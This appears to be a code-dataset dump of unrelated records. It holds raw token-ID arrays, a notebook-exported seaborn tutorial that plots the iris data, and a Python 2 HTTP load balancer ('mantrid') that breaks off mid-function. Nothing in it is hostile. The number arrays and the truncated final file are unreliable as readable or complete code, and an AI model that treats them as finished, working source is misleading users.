13058,
3538,
29892,
10742,
13,
259,
396,
1763,
6459,
278,
10296,
310,
1438,
7737,
1973,
29892,
763,
10742,
2175,
29892,
1492,
322,
2175,
9098,
29892,
4160,
4225,
304,
2874,
1009,
1914,
14009,
5900,
29889,
13,
259,
396,
4001,
4160,
871,
671,
9078,
7737,
1973,
297,
445,
4464,
29892,
591,
526,
451,
2675,
304,
22782,
2086,
1568,
17832,
7737,
1973,
297,
278,
3489,
29889,
13,
259,
396,
960,
5181,
29892,
366,
508,
4866,
278,
5687,
5900,
297,
278,
297,
29877,
934,
491,
7535,
29889,
13,
259,
14550,
13,
29871,
282,
1175,
29889,
842,
29918,
7118,
545,
29918,
29882,
335,
1092,
403,
29898,
5574,
416,
13,
13,
13,
1753,
2425,
7295,
13,
29871,
14550,
6359,
29502,
1353,
313,
2457,
19817,
545,
1134,
29897,
13,
259,
396,
321,
24110,
8516,
29871,
321,
24110,
7341,
29871,
321,
24110,
8091,
29871,
321,
24110,
3373,
29871,
321,
24110,
6767,
29871,
321,
24110,
2831,
1328,
13,
259,
396,
321,
24110,
5841,
1328,
29871,
321,
24110,
29907,
908,
3538,
29871,
321,
24110,
13448,
29875,
29907,
908,
3538,
29871,
321,
24110,
29956,
1351,
29871,
321,
24110,
29956,
1351,
29903,
677,
368,
4205,
2098,
13,
259,
396,
321,
24110,
29956,
1351,
29903,
677,
368,
8091,
7341,
29871,
321,
24110,
29956,
1351,
29903,
677,
368,
3373,
6767,
29871,
321,
24110,
29956,
1351,
29903,
677,
368,
2831,
1328,
5841,
1328,
13,
29871,
14550,
13,
29871,
5534,
2380,
13,
29871,
10518,
29918,
2435,
353,
7431,
29898,
5630,
29897,
13,
29871,
1596,
703,
5630,
3309,
16328,
29881,
29908,
29995,
15926,
29918,
2435,
416,
13,
29871,
1369,
29918,
16394,
353,
931,
29889,
2230,
890,
13,
29871,
1596,
703,
552,
559,
1881,
278,
1273,
29881,
29502,
29908,
29995,
29898,
2248,
29974,
29896,
876,
13,
29871,
1959,
353,
7700,
13,
29871,
1550,
29898,
15728,
1275,
7700,
1125,
13,
1678,
1286,
353,
931,
29889,
2230,
890,
13,
1678,
565,
29898,
3707,
448,
1369,
29918,
16394,
6736,
323,
8890,
12015,
1125,
13,
4706,
1369,
29918,
16394,
353,
1286,
29936,
13,
4706,
2380,
353,
29871,
29900,
29936,
13,
4706,
1596,
703,
15619,
30214,
2080,
1449,
1159,
13,
4706,
1596,
703,
552,
559,
1881,
278,
1273,
29881,
29502,
29908,
29898,
2248,
29974,
29896,
876,
13,
13,
1678,
29502,
353,
282,
1175,
29889,
657,
29918,
7118,
545,
890,
13,
1678,
565,
29898,
7118,
545,
1275,
282,
1175,
29889,
29872,
24110,
8516,
1125,
13,
418,
6773,
29936,
13,
268,
13,
1678,
1596,
29898,
29886,
1175,
29889,
7118,
545,
29918,
8216,
29898,
7118,
545,
2483,
13,
1678,
565,
29898,
7118,
545,
1275,
4800,
29961,
2248,
29962,
1125,
13,
418,
2380,
353,
2380,
718,
29871,
29896,
13,
418,
1596,
703,
552,
559,
1881,
278,
1273,
29881,
29502,
29908,
29995,
29898,
2248,
718,
29871,
29896,
876,
13,
1678,
1683,
29901,
13,
418,
1369,
29918,
16394,
353,
931,
29889,
2230,
890,
13,
418,
2380,
353,
29871,
29900,
29936,
13,
418,
1596,
703,
7118,
545,
4800,
338,
10240,
29892,
1018,
1449,
1159,
13,
418,
1596,
703,
552,
559,
1881,
278,
1273,
29881,
29502,
29908,
29995,
29898,
2248,
718,
29871,
29896,
876,
13,
268,
13,
1678,
565,
29898,
2248,
1275,
10518,
29918,
2435,
1125,
13,
418,
1959,
353,
5852,
13,
259,
13,
29871,
1596,
703,
2525,
908,
599,
7737,
1973,
8472,
29892,
366,
505,
7802,
278,
1788,
1159,
13,
29871,
1596,
703,
1762,
3896,
278,
29502,
4800,
29892,
366,
505,
10398,
1273,
29881,
6923,
29908,
29995,
3552,
2230,
29889,
2230,
580,
29899,
2962,
29918,
16394,
6802,
29896,
29900,
29900,
29900,
876,
13,
259,
13,
29871,
396,
4986,
11662,
13,
29871,
1550,
5852,
29901,
13,
1678,
1209,
13,
13,
361,
4770,
978,
1649,
1275,
376,
1649,
3396,
1649,
1115,
13,
29871,
6230,
580,
13,
29871,
1550,
5852,
29901,
13,
1678,
2425,
580,
13,
2
] |
Data-Visualization/Seaborn/Plotting graphs with Seaborn.py | Akshat-MS/DataScience-Learning | 0 | 139458 | #!/usr/bin/env python
# coding: utf-8
# # Plotting graphs with Seaborn
# In[2]:
import numpy as np
import pandas as pd
import matplotlib.pyplot as plt
import seaborn as sns
# In[3]:
iris = sns.load_dataset('iris')
iris.shape
# In[4]:
iris.head()
# In[5]:
iris['species'].unique()
# # Univariate Analysis
# ## Histogram
#
# #### Definition
#
# Histogram indicates how numerical data are distributed. or it is a **graphical representation of data points grouped into ranges** that the user specifies. or Histograms illustrate the frequency distribution of data sets.
#
# #### Key Pointers
#
# - Histograms show data in a bar graph-like manner by grouping outcomes along a vertical axis.
# - The y-axis of a histogram represents occurrences, either by number or by percentage or in simple words the height of each bar represents either a number count or a percentage.
# - MACD (Moving Average Convergence Divergence) histograms are used in technical analysis to indicate changes in momentum in the market.
#
# #### Difference between histograms and bar charts
#
# Often, histograms are confused with bar charts.Generally, a histogram is used to plot continuous data, in which each bin represents a range of values, while a bar chart shows categorical data
#
# More techincally,Histograms depict the frequency distribution of variables in a data set. A bar graph, by contrast, represents a graphical comparison of discrete or categorical variables.
#
# #### A Histogram's Function
#
# In statistics, histograms are used to indicate the frequencies of particular types of variables occurring within a defined range. As an example, a census that focuses on the demography of a country may show a histogram showing the number of people aged 0 - 10, 11 - 20, 21 - 30, 31 - 40, 41 - 50, etc.
#
# A histogram can be customized in several ways by the analyst. As an alternative to frequency, one could use percent of total or density as labels.
# Another factor to consider would be bucket size. In the above example, there are 5 buckets with an interval of ten. You could change this, for example, to 10 buckets with a 5-minute interval instead.
#
# A histogram gives a rough idea of the underlying distribution of data, and is often used for density estimation: estimating the probability density function of underlying variables.
#
# In[6]:
iris['petal_length']
# In[9]:
sns.histplot(data=iris,x = 'petal_length',bins = 30)
# In[13]:
sns.histplot(data=iris,x = 'petal_length',bins = 30,hue='species')
# ## KDE - Kernel Density Estimation
#
# contiuous probability density function (PDF)
# In[11]:
sns.kdeplot(data = iris, x='petal_length')
# In[12]:
sns.kdeplot(data = iris, x='petal_length',hue='species')
plt.show()
# ## Distribution plot
# In[14]:
sns.displot(data=iris,x='sepal_length',bins=40,hue='species')
# ## Bivariante Analysis
# ## Scatter plot - using seaborn
# In[18]:
sns.scatterplot(data=iris,x='petal_length',y = 'petal_width',hue='species')
#plt.xlim(-5,10)
plt.show()
# ## scatter plot using matplotlib
# In[20]:
setosa = iris[iris['species'] == 'setosa']
versicolor = iris[iris['species'] == 'versicolor']
virginica = iris[iris['species'] == 'virginica']
# In[22]:
plt.scatter(x=setosa['petal_length'],y=setosa['petal_width'], c = 'blue')
plt.scatter(x=versicolor['petal_length'],y=versicolor['petal_width'], c = 'orange')
plt.scatter(x=virginica['petal_length'],y=virginica['petal_width'], c = 'green')
# ## Joint plot (Default it joins displot and scatterplot)
# In[25]:
sns.jointplot(data=iris,x='petal_length',y='petal_width',hue='species')
plt.show
# In[33]:
# ['scatter', 'hist', 'hex', 'kde', 'reg', 'resid']
sns.jointplot(data=iris,x='petal_length',y='petal_width',kind='reg')
plt.show
# In[38]:
sns.jointplot(data=iris,x='petal_length',y='petal_width',hue='species',kind='kde')
plt.show
# In[41]:
sns.jointplot(data=iris,x='sepal_length',y='sepal_width',kind='hex')
plt.show
# ## Multivariate Analysis
# In[42]:
iris.head()
# In[45]:
sns.pairplot(data = iris, hue='species')
# # Categorial variables
# ## Univariate Analysis
# In[46]:
iris.head()
# In[47]:
sns.countplot(data=iris,x = 'species')
# ## Box plot
# In[49]:
sns.boxplot(data=iris, y = 'petal_length')
# # Boxplot for Multi-variant Analysis
# In[51]:
sns.boxplot(data=iris,x = 'species', y = 'sepal_length')
# ## violinplot shows distribution and outliers.
# In[53]:
sns.violinplot(data=iris,x = 'species', y = 'sepal_length')
# ## Matrix Plots
# In[56]:
corr = iris.corr()
corr
# In[60]:
sns.heatmap(corr,annot = True)
# In[61]:
car_crashes = sns.load_dataset('car_crashes').corr()
# In[62]:
sns.heatmap(car_crashes.corr(),annot = True)
# In[ ]:
| [
1,
18787,
4855,
29914,
2109,
29914,
6272,
3017,
13,
29937,
14137,
29901,
23616,
29899,
29947,
13,
13,
29937,
396,
18399,
1259,
18445,
411,
922,
370,
1398,
13,
13,
29937,
512,
29961,
29906,
5387,
13,
13,
13,
5215,
12655,
408,
7442,
13,
5215,
11701,
408,
10518,
13,
13,
5215,
22889,
29889,
2272,
5317,
408,
14770,
13,
5215,
409,
370,
1398,
408,
269,
1983,
13,
13,
13,
29937,
512,
29961,
29941,
5387,
13,
13,
13,
381,
275,
353,
269,
1983,
29889,
1359,
29918,
24713,
877,
381,
275,
1495,
13,
381,
275,
29889,
12181,
13,
13,
13,
29937,
512,
29961,
29946,
5387,
13,
13,
13,
381,
275,
29889,
2813,
580,
13,
13,
13,
29937,
512,
29961,
29945,
5387,
13,
13,
13,
381,
275,
1839,
24091,
13359,
13092,
580,
13,
13,
13,
29937,
396,
853,
27432,
403,
24352,
13,
13,
29937,
444,
15179,
13342,
29871,
13,
29937,
29871,
13,
29937,
3191,
21940,
29871,
13,
29937,
29871,
13,
29937,
15179,
13342,
14088,
920,
16259,
848,
526,
13235,
29889,
470,
372,
338,
263,
3579,
4262,
936,
8954,
310,
848,
3291,
27831,
964,
20238,
1068,
393,
278,
1404,
1580,
11057,
29889,
470,
15179,
468,
25402,
28475,
278,
10868,
4978,
310,
848,
6166,
29889,
13,
29937,
29871,
13,
29937,
3191,
7670,
3929,
1639,
29879,
29871,
13,
29937,
29871,
13,
29937,
259,
448,
15179,
468,
25402,
1510,
848,
297,
263,
2594,
3983,
29899,
4561,
8214,
491,
27270,
714,
26807,
3412,
263,
11408,
9685,
29889,
13,
29937,
259,
448,
450,
343,
29899,
8990,
310,
263,
9825,
13342,
11524,
13920,
2063,
29892,
2845,
491,
1353,
470,
491,
19649,
470,
297,
2560,
3838,
278,
3171,
310,
1269,
2594,
11524,
2845,
263,
1353,
2302,
470,
263,
19649,
29889,
13,
29937,
259,
448,
26750,
29928,
313,
29924,
21081,
319,
19698,
1281,
369,
10238,
360,
2147,
10238,
29897,
9825,
468,
25402,
526,
1304,
297,
16905,
7418,
304,
12266,
3620,
297,
19399,
297,
278,
9999,
29889,
29871,
13,
29937,
1678,
13,
29937,
3191,
360,
17678,
1546,
9825,
468,
25402,
322,
2594,
24469,
29871,
13,
29937,
29871,
13,
29937,
438,
15535,
29892,
9825,
468,
25402,
526,
9613,
411,
2594,
24469,
29889,
5631,
635,
29892,
263,
9825,
13342,
338,
1304,
304,
6492,
9126,
848,
29892,
297,
607,
1269,
9016,
11524,
263,
3464,
310,
1819,
29892,
1550,
263,
2594,
8727,
3697,
11608,
936,
848,
13,
29937,
29871,
13,
29937,
5853,
734,
305,
3742,
635,
29892,
29950,
391,
468,
25402,
1401,
919,
278,
10868,
4978,
310,
3651,
297,
263,
848,
731,
29889,
319,
2594,
3983,
29892,
491,
12814,
29892,
11524,
263,
3983,
936,
10230,
310,
19554,
470,
11608,
936,
3651,
29889,
13,
29937,
29871,
13,
29937,
3191,
319,
15179,
13342,
29915,
29879,
6680,
13,
29937,
29871,
13,
29937,
512,
13964,
29892,
9825,
468,
25402,
526,
1304,
304,
12266,
278,
29511,
310,
3153,
4072,
310,
3651,
13920,
292,
2629,
263,
3342,
3464,
29889,
1094,
385,
1342,
29892,
263,
16411,
393,
8569,
267,
373,
278,
1261,
5275,
310,
263,
4234,
1122,
1510,
263,
9825,
13342,
6445,
278,
1353,
310,
2305,
26552,
29871,
29900,
448,
29871,
29896,
29900,
29892,
29871,
29896,
29896,
448,
29871,
29906,
29900,
29892,
29871,
29906,
29896,
448,
29871,
29941,
29900,
29892,
29871,
29941,
29896,
448,
29871,
29946,
29900,
29892,
29871,
29946,
29896,
448,
29871,
29945,
29900,
29892,
2992,
29889,
13,
29937,
29871,
13,
29937,
319,
9825,
13342,
508,
367,
2888,
1891,
297,
3196,
5837,
491,
278,
3483,
858,
29889,
1094,
385,
8671,
304,
10868,
29892,
697,
1033,
671,
10151,
310,
3001,
470,
9027,
408,
11073,
29889,
13,
29937,
7280,
7329,
304,
2050,
723,
367,
20968,
2159,
29889,
512,
278,
2038,
1342,
29892,
727,
526,
29871,
29945,
1321,
9737,
411,
385,
7292,
310,
3006,
29889,
887,
1033,
1735,
445,
29892,
363,
1342,
29892,
304,
29871,
29896,
29900,
1321,
9737,
411,
263,
29871,
29945,
29899,
1195,
1082,
7292,
2012,
29889,
13,
29937,
29871,
13,
29937,
319,
9825,
13342,
4076,
263,
12164,
2969,
310,
278,
14407,
4978,
310,
848,
29892,
322,
338,
4049,
1304,
363,
9027,
23248,
29901,
4844,
1218,
278,
6976,
9027,
740,
310,
14407,
3651,
29889,
13,
29937,
29871,
13,
13,
29937,
512,
29961,
29953,
5387,
13,
13,
13,
381,
275,
1839,
10963,
284,
29918,
2848,
2033,
13,
13,
13,
29937,
512,
29961,
29929,
5387,
13,
13,
13,
29879,
1983,
29889,
29882,
391,
5317,
29898,
1272,
29922,
381,
275,
29892,
29916,
353,
525,
10963,
284,
29918,
2848,
742,
29890,
1144,
353,
29871,
29941,
29900,
29897,
13,
13,
13,
29937,
512,
29961,
29896,
29941,
5387,
13,
13,
13,
29879,
1983,
29889,
29882,
391,
5317,
29898,
1272,
29922,
381,
275,
29892,
29916,
353,
525,
10963,
284,
29918,
2848,
742,
29890,
1144,
353,
29871,
29941,
29900,
29892,
29882,
434,
2433,
24091,
1495,
13,
13,
13,
29937,
444,
476,
2287,
448,
476,
5851,
360,
575,
537,
2661,
7715,
13,
29937,
29871,
13,
29937,
640,
5871,
681,
6976,
9027,
740,
313,
8493,
29897,
13,
13,
29937,
512,
29961,
29896,
29896,
5387,
13,
13,
13,
29879,
1983,
29889,
29895,
311,
5317,
29898,
1272,
353,
3805,
275,
29892,
921,
2433,
10963,
284,
29918,
2848,
1495,
13,
13,
13,
29937,
512,
29961,
29896,
29906,
5387,
13,
13,
13,
29879,
1983,
29889,
29895,
311,
5317,
29898,
1272,
353,
3805,
275,
29892,
921,
2433,
10963,
284,
29918,
2848,
742,
29882,
434,
2433,
24091,
1495,
13,
572,
29873,
29889,
4294,
580,
13,
13,
13,
29937,
444,
17740,
6492,
13,
13,
29937,
512,
29961,
29896,
29946,
5387,
13,
13,
13,
29879,
1983,
29889,
2218,
5317,
29898,
1272,
29922,
381,
275,
29892,
29916,
2433,
344,
7830,
29918,
2848,
742,
29890,
1144,
29922,
29946,
29900,
29892,
29882,
434,
2433,
24091,
1495,
13,
13,
13,
29937,
444,
350,
440,
279,
12361,
24352,
13,
13,
29937,
444,
2522,
2620,
6492,
448,
773,
409,
370,
1398,
13,
13,
29937,
512,
29961,
29896,
29947,
5387,
13,
13,
13,
29879,
1983,
29889,
1557,
2620,
5317,
29898,
1272,
29922,
381,
275,
29892,
29916,
2433,
10963,
284,
29918,
2848,
742,
29891,
353,
525,
10963,
284,
29918,
2103,
742,
29882,
434,
2433,
24091,
1495,
13,
29937,
572,
29873,
29889,
29916,
2576,
6278,
29945,
29892,
29896,
29900,
29897,
13,
572,
29873,
29889,
4294,
580,
13,
13,
13,
29937,
444,
14801,
6492,
773,
22889,
29871,
13,
13,
29937,
512,
29961,
29906,
29900,
5387,
13,
13,
13,
842,
3628,
353,
3805,
275,
29961,
381,
275,
1839,
24091,
2033,
1275,
525,
842,
3628,
2033,
13,
874,
5283,
272,
353,
3805,
275,
29961,
381,
275,
1839,
24091,
2033,
1275,
525,
874,
5283,
272,
2033,
13,
2405,
5359,
983,
353,
3805,
275,
29961,
381,
275,
1839,
24091,
2033,
1275,
525,
2405,
5359,
983,
2033,
13,
13,
13,
29937,
512,
29961,
29906,
29906,
5387,
13,
13,
13,
572,
29873,
29889,
1557,
2620,
29898,
29916,
29922,
842,
3628,
1839,
10963,
284,
29918,
2848,
7464,
29891,
29922,
842,
3628,
1839,
10963,
284,
29918,
2103,
7464,
274,
353,
525,
9539,
1495,
13,
572,
29873,
29889,
1557,
2620,
29898,
29916,
29922,
874,
5283,
272,
1839,
10963,
284,
29918,
2848,
7464,
29891,
29922,
874,
5283,
272,
1839,
10963,
284,
29918,
2103,
7464,
274,
353,
525,
272,
927,
1495,
13,
572,
29873,
29889,
1557,
2620,
29898,
29916,
29922,
2405,
5359,
983,
1839,
10963,
284,
29918,
2848,
7464,
29891,
29922,
2405,
5359,
983,
1839,
10963,
284,
29918,
2103,
7464,
274,
353,
525,
12692,
1495,
13,
13,
13,
29937,
444,
435,
2461,
6492,
313,
4592,
372,
26205,
766,
5317,
322,
14801,
5317,
29897,
13,
13,
29937,
512,
29961,
29906,
29945,
5387,
13,
13,
13,
29879,
1983,
29889,
12090,
5317,
29898,
1272,
29922,
381,
275,
29892,
29916,
2433,
10963,
284,
29918,
2848,
742,
29891,
2433,
10963,
284,
29918,
2103,
742,
29882,
434,
2433,
24091,
1495,
13,
572,
29873,
29889,
4294,
13,
13,
13,
29937,
512,
29961,
29941,
29941,
5387,
13,
13,
13,
29937,
6024,
1557,
2620,
742,
525,
29882,
391,
742,
525,
20970,
742,
525,
29895,
311,
742,
525,
1727,
742,
525,
690,
333,
2033,
13,
29879,
1983,
29889,
12090,
5317,
29898,
1272,
29922,
381,
275,
29892,
29916,
2433,
10963,
284,
29918,
2848,
742,
29891,
2433,
10963,
284,
29918,
2103,
742,
14380,
2433,
1727,
1495,
13,
572,
29873,
29889,
4294,
13,
13,
13,
29937,
512,
29961,
29941,
29947,
5387,
13,
13,
13,
29879,
1983,
29889,
12090,
5317,
29898,
1272,
29922,
381,
275,
29892,
29916,
2433,
10963,
284,
29918,
2848,
742,
29891,
2433,
10963,
284,
29918,
2103,
742,
29882,
434,
2433,
24091,
742,
14380,
2433,
29895,
311,
1495,
13,
572,
29873,
29889,
4294,
13,
13,
13,
29937,
512,
29961,
29946,
29896,
5387,
13,
13,
13,
29879,
1983,
29889,
12090,
5317,
29898,
1272,
29922,
381,
275,
29892,
29916,
2433,
344,
7830,
29918,
2848,
742,
29891,
2433,
344,
7830,
29918,
2103,
742,
14380,
2433,
20970,
1495,
13,
572,
29873,
29889,
4294,
13,
13,
13,
29937,
444,
9683,
27432,
403,
24352,
13,
13,
29937,
512,
29961,
29946,
29906,
5387,
13,
13,
13,
381,
275,
29889,
2813,
580,
13,
13,
13,
29937,
512,
29961,
29946,
29945,
5387,
13,
13,
13,
29879,
1983,
29889,
18784,
5317,
29898,
1272,
353,
3805,
275,
29892,
298,
434,
2433,
24091,
1495,
13,
13,
13,
29937,
396,
315,
1845,
9020,
3651,
13,
13,
29937,
444,
853,
27432,
403,
24352,
13,
13,
29937,
512,
29961,
29946,
29953,
5387,
13,
13,
13,
381,
275,
29889,
2813,
580,
13,
13,
13,
29937,
512,
29961,
29946,
29955,
5387,
13,
13,
13,
29879,
1983,
29889,
2798,
5317,
29898,
1272,
29922,
381,
275,
29892,
29916,
353,
525,
24091,
1495,
13,
13,
13,
29937,
444,
11773,
6492,
13,
13,
29937,
512,
29961,
29946,
29929,
5387,
13,
13,
13,
29879,
1983,
29889,
1884,
5317,
29898,
1272,
29922,
381,
275,
29892,
343,
353,
525,
10963,
284,
29918,
2848,
1495,
13,
13,
13,
29937,
396,
11773,
5317,
363,
14974,
29899,
19365,
24352,
13,
13,
29937,
512,
29961,
29945,
29896,
5387,
13,
13,
13,
29879,
1983,
29889,
1884,
5317,
29898,
1272,
29922,
381,
275,
29892,
29916,
353,
525,
24091,
742,
343,
353,
525,
344,
7830,
29918,
2848,
1495,
13,
13,
13,
29937,
444,
5537,
262,
5317,
3697,
4978,
322,
714,
27801,
29889,
13,
13,
29937,
512,
29961,
29945,
29941,
5387,
13,
13,
13,
29879,
1983,
29889,
1403,
22878,
5317,
29898,
1272,
29922,
381,
275,
29892,
29916,
353,
525,
24091,
742,
343,
353,
525,
344,
7830,
29918,
2848,
1495,
13,
13,
13,
29937,
444,
22513,
1858,
1862,
13,
13,
29937,
512,
29961,
29945,
29953,
5387,
13,
13,
13,
29725,
353,
3805,
275,
29889,
29725,
580,
13,
29725,
13,
13,
13,
29937,
512,
29961,
29953,
29900,
5387,
13,
13,
13,
29879,
1983,
29889,
354,
271,
1958,
29898,
29725,
29892,
6735,
353,
5852,
29897,
13,
13,
13,
29937,
512,
29961,
29953,
29896,
5387,
13,
13,
13,
4287,
29918,
7283,
1161,
267,
353,
269,
1983,
29889,
1359,
29918,
24713,
877,
4287,
29918,
7283,
1161,
267,
2824,
29725,
580,
13,
13,
13,
29937,
512,
29961,
29953,
29906,
5387,
13,
13,
13,
29879,
1983,
29889,
354,
271,
1958,
29898,
4287,
29918,
7283,
1161,
267,
29889,
29725,
3285,
6735,
353,
5852,
29897,
13,
13,
13,
29937,
512,
29961,
4514,
29901,
13,
13,
13,
13,
13,
2
] |
mantrid/loadbalancer.py | epio/mantrid | 30 | 14055 | <reponame>epio/mantrid
import eventlet
import errno
import logging
import traceback
import mimetools
import resource
import json
import os
import sys
import argparse
from eventlet import wsgi
from eventlet.green import socket
from .actions import Unknown, Proxy, Empty, Static, Redirect, NoHosts, Spin
from .config import SimpleConfig
from .management import ManagementApp
from .stats_socket import StatsSocket
from .greenbody import GreenBody
class Balancer(object):
"""
Main loadbalancer class.
"""
nofile = 102400
save_interval = 10
action_mapping = {
"proxy": Proxy,
"empty": Empty,
"static": Static,
"redirect": Redirect,
"unknown": Unknown,
"spin": Spin,
"no_hosts": NoHosts,
}
def __init__(self, external_addresses, internal_addresses, management_addresses, state_file, uid=None, gid=65535, static_dir="/etc/mantrid/static/"):
"""
Constructor.
Takes one parameter, the dict of ports to listen on.
The key in this dict is the port number, and the value
is if it's an internal endpoint or not.
Internal endpoints do not have X-Forwarded-* stripped;
other ones do, and have X-Forwarded-For added.
"""
self.external_addresses = external_addresses
self.internal_addresses = internal_addresses
self.management_addresses = management_addresses
self.state_file = state_file
self.uid = uid
self.gid = gid
self.static_dir = static_dir
@classmethod
def main(cls):
# Parse command-line args
parser = argparse.ArgumentParser(description='The Mantrid load balancer')
parser.add_argument('--debug', dest='debug', action='store_const', const=True, help='Enable debug logging')
parser.add_argument('-c', '--config', dest='config', default=None, metavar="PATH", help='Path to the configuration file')
args = parser.parse_args()
# Set up logging
logger = logging.getLogger()
logger.setLevel(logging.DEBUG if args.debug else logging.INFO)
# Output to stderr, always
sh = logging.StreamHandler()
sh.setFormatter(logging.Formatter(
fmt = "%(asctime)s - %(levelname)8s: %(message)s",
datefmt="%Y-%m-%d %H:%M:%S",
))
sh.setLevel(logging.DEBUG)
logger.addHandler(sh)
# Check they have root access
try:
resource.setrlimit(resource.RLIMIT_NOFILE, (cls.nofile, cls.nofile))
except (ValueError, resource.error):
logging.warning("Cannot raise resource limits (run as root/change ulimits)")
# Load settings from the config file
if args.config is None:
if os.path.exists("/etc/mantrid/mantrid.conf"):
args.config = "/etc/mantrid/mantrid.conf"
logging.info("Using configuration file %s" % args.config)
else:
args.config = "/dev/null"
logging.info("No configuration file found - using defaults.")
else:
logging.info("Using configuration file %s" % args.config)
config = SimpleConfig(args.config)
balancer = cls(
config.get_all_addresses("bind", set([(("::", 80), socket.AF_INET6)])),
config.get_all_addresses("bind_internal"),
config.get_all_addresses("bind_management", set([(("127.0.0.1", 8042), socket.AF_INET), (("::1", 8042), socket.AF_INET6)])),
config.get("state_file", "/var/lib/mantrid/state.json"),
config.get_int("uid", 4321),
config.get_int("gid", 4321),
config.get("static_dir", "/etc/mantrid/static/"),
)
balancer.run()
def load(self):
"Loads the state from the state file"
try:
if os.path.getsize(self.state_file) <= 1:
raise IOError("File is empty.")
with open(self.state_file) as fh:
state = json.load(fh)
assert isinstance(state, dict)
self.hosts = state['hosts']
self.stats = state['stats']
for key in self.stats:
self.stats[key]['open_requests'] = 0
except (IOError, OSError):
# There is no state file; start empty.
self.hosts = {}
self.stats = {}
def save(self):
"Saves the state to the state file"
with open(self.state_file, "w") as fh:
json.dump({
"hosts": self.hosts,
"stats": self.stats,
}, fh)
def run(self):
# First, initialise the process
self.load()
self.running = True
# Try to ensure the state file is readable
state_dir = os.path.dirname(self.state_file)
if not os.path.isdir(state_dir):
os.makedirs(state_dir)
if self.uid is not None:
try:
os.chown(state_dir, self.uid, -1)
except OSError:
pass
try:
os.chown(self.state_file, self.uid, -1)
except OSError:
pass
# Then, launch the socket loops
pool = GreenBody(
len(self.external_addresses) +
len(self.internal_addresses) +
len(self.management_addresses) +
1
)
pool.spawn(self.save_loop)
for address, family in self.external_addresses:
pool.spawn(self.listen_loop, address, family, internal=False)
for address, family in self.internal_addresses:
pool.spawn(self.listen_loop, address, family, internal=True)
for address, family in self.management_addresses:
pool.spawn(self.management_loop, address, family)
# Give the other threads a chance to open their listening sockets
eventlet.sleep(0.5)
# Drop to the lesser UID/GIDs, if supplied
if self.gid:
try:
os.setegid(self.gid)
os.setgid(self.gid)
except OSError:
logging.error("Cannot change to GID %i (probably not running as root)" % self.gid)
else:
logging.info("Dropped to GID %i" % self.gid)
if self.uid:
try:
os.seteuid(0)
os.setuid(self.uid)
os.seteuid(self.uid)
except OSError:
logging.error("Cannot change to UID %i (probably not running as root)" % self.uid)
else:
logging.info("Dropped to UID %i" % self.uid)
# Ensure we can save to the state file, or die hard.
try:
open(self.state_file, "a").close()
except (OSError, IOError):
logging.critical("Cannot write to state file %s" % self.state_file)
sys.exit(1)
# Wait for one to exit, or for a clean/forced shutdown
try:
pool.wait()
except (KeyboardInterrupt, StopIteration, SystemExit):
pass
except:
logging.error(traceback.format_exc())
# We're done
self.running = False
logging.info("Exiting")
### Management ###
def save_loop(self):
"""
Saves the state if it has changed.
"""
last_hash = hash(repr(self.hosts))
while self.running:
eventlet.sleep(self.save_interval)
next_hash = hash(repr(self.hosts))
if next_hash != last_hash:
self.save()
last_hash = next_hash
def management_loop(self, address, family):
"""
Accepts management requests.
"""
try:
sock = eventlet.listen(address, family)
except socket.error, e:
logging.critical("Cannot listen on (%s, %s): %s" % (address, family, e))
return
# Sleep to ensure we've dropped privileges by the time we start serving
eventlet.sleep(0.5)
# Actually serve management
logging.info("Listening for management on %s" % (address, ))
management_app = ManagementApp(self)
try:
with open("/dev/null", "w") as log_dest:
wsgi.server(
sock,
management_app.handle,
log = log_dest,
)
finally:
sock.close()
### Client handling ###
def listen_loop(self, address, family, internal=False):
"""
Accepts incoming connections.
"""
try:
sock = eventlet.listen(address, family)
except socket.error, e:
if e.errno == errno.EADDRINUSE:
logging.critical("Cannot listen on (%s, %s): already in use" % (address, family))
raise
elif e.errno == errno.EACCES and address[1] <= 1024:
logging.critical("Cannot listen on (%s, %s) (you might need to launch as root)" % (address, family))
return
logging.critical("Cannot listen on (%s, %s): %s" % (address, family, e))
return
# Sleep to ensure we've dropped privileges by the time we start serving
eventlet.sleep(0.5)
# Start serving
logging.info("Listening for requests on %s" % (address, ))
try:
eventlet.serve(
sock,
lambda sock, addr: self.handle(sock, addr, internal),
concurrency = 10000,
)
finally:
sock.close()
def resolve_host(self, host, protocol="http"):
# Special case for empty hosts dict
if not self.hosts:
return NoHosts(self, host, "unknown")
# Check for an exact or any subdomain matches
bits = host.split(".")
for i in range(len(bits)):
for prefix in ["%s://" % protocol, ""]:
subhost = prefix + (".".join(bits[i:]))
if subhost in self.hosts:
action, kwargs, allow_subs = self.hosts[subhost]
if allow_subs or i == 0:
action_class = self.action_mapping[action]
return action_class(
balancer = self,
host = host,
matched_host = subhost,
**kwargs
)
return Unknown(self, host, "unknown")
def handle(self, sock, address, internal=False):
"""
Handles an incoming HTTP connection.
"""
try:
sock = StatsSocket(sock)
rfile = sock.makefile('rb', 4096)
# Read the first line
first = rfile.readline().strip("\r\n")
words = first.split()
# Ensure it looks kind of like HTTP
if not (2 <= len(words) <= 3):
sock.sendall("HTTP/1.0 400 Bad Request\r\nConnection: close\r\nContent-length: 0\r\n\r\n")
return
path = words[1]
# Read the headers
headers = mimetools.Message(rfile, 0)
# Work out the host
try:
host = headers['Host']
except KeyError:
host = "unknown"
headers['Connection'] = "close"
if not internal:
headers['X-Forwarded-For'] = address[0]
headers['X-Forwarded-Protocol'] = ""
headers['X-Forwarded-Proto'] = ""
# Make sure they're not using odd encodings
if "Transfer-Encoding" in headers:
sock.sendall("HTTP/1.0 411 Length Required\r\nConnection: close\r\nContent-length: 0\r\n\r\n")
return
# Match the host to an action
protocol = "http"
if headers.get('X-Forwarded-Protocol', headers.get('X-Forwarded-Proto', "")).lower() in ("ssl", "https"):
protocol = "https"
action = self.resolve_host(host, protocol)
# Record us as an open connection
stats_dict = self.stats.setdefault(action.matched_host, {})
stats_dict['open_requests'] = stats_dict.get('open_requests', 0) + 1
# Run the action
try:
rfile._rbuf.seek(0)
action.handle(
sock = sock,
read_data = first + "\r\n" + str(headers) + "\r\n" + rfile._rbuf.read(),
path = path,
headers = headers,
)
finally:
stats_dict['open_requests'] -= 1
stats_dict['completed_requests'] = stats_dict.get('completed_requests', 0) + 1
stats_dict['bytes_sent'] = stats_dict.get('bytes_sent', 0) + sock.bytes_sent
stats_dict['bytes_received'] = stats_dict.get('bytes_received', 0) + sock.bytes_received
except socket.error, e:
if e.errno not in (errno.EPIPE, errno.ETIMEDOUT, errno.ECONNRESET):
logging.error(traceback.format_exc())
except:
logging.error(traceback.format_exc())
try:
